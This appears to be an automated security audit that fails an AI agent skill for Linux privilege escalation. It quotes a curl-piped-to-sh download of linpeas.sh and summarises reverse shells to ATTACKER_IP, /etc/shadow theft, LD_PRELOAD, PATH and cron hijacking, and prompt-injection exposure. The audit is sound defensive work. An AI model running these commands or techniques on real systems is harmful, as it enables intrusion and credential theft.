Linux Privilege Escalation
Fail
Audited by Gen Agent Trust Hub on Nov 5, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONPRIVILEGE_ESCALATIONDATA_EXFILTRATIONCREDENTIALS_UNSAFEDYNAMIC_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and immediately execute shell scripts from external, unverified repositories.
- Evidence:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shand instructions to fetch payloads fromATTACKER_IP. - [PRIVILEGE_ESCALATION]: The core functionality focuses on bypassing security controls to gain root access through sudo misconfigurations, SUID binaries, and kernel exploits.
- Evidence: Instructions for
LD_PRELOADexploitation,sudoabuse (vim, find, awk), and hijacking SUID binaries. - [DATA_EXFILTRATION]: Provides several 'reverse shell' one-liners that enable remote command execution and data transfer to an external IP address.
- Evidence: Bash, Python, Netcat, and Perl reverse shell strings targeting
ATTACKER_IP. - [CREDENTIALS_UNSAFE]: Includes methods to read sensitive system credential files and export them for offline cracking.
- Evidence: Reading
/etc/shadowand/etc/passwdvia SUID binaries and usingbase64for exfiltration. - [DYNAMIC_EXECUTION]: Involves compiling C code and shared objects at runtime to exploit kernel vulnerabilities or library loading mechanisms.
- Evidence: Using
gccto compileexploit.candshell.soshared libraries forLD_PRELOADattacks. - [COMMAND_EXECUTION]: Manipulates the system environment and paths to redirect execution flow to malicious binaries.
- Evidence: Modifying the
PATHenvironment variable (export PATH=/tmp:$PATH) and appending malicious commands to writable cron scripts. - [INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted system data and process lists which could be manipulated to influence agent behavior, though no explicit sanitization is present.
- Ingestion points: Output from
uname,ps aux,id, and configuration file reads (SKILL.md). - Boundary markers: Absent.
- Capability inventory:
gcc,curl,sudo,chmod,base64,find,netcat. - Sanitization: Absent.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata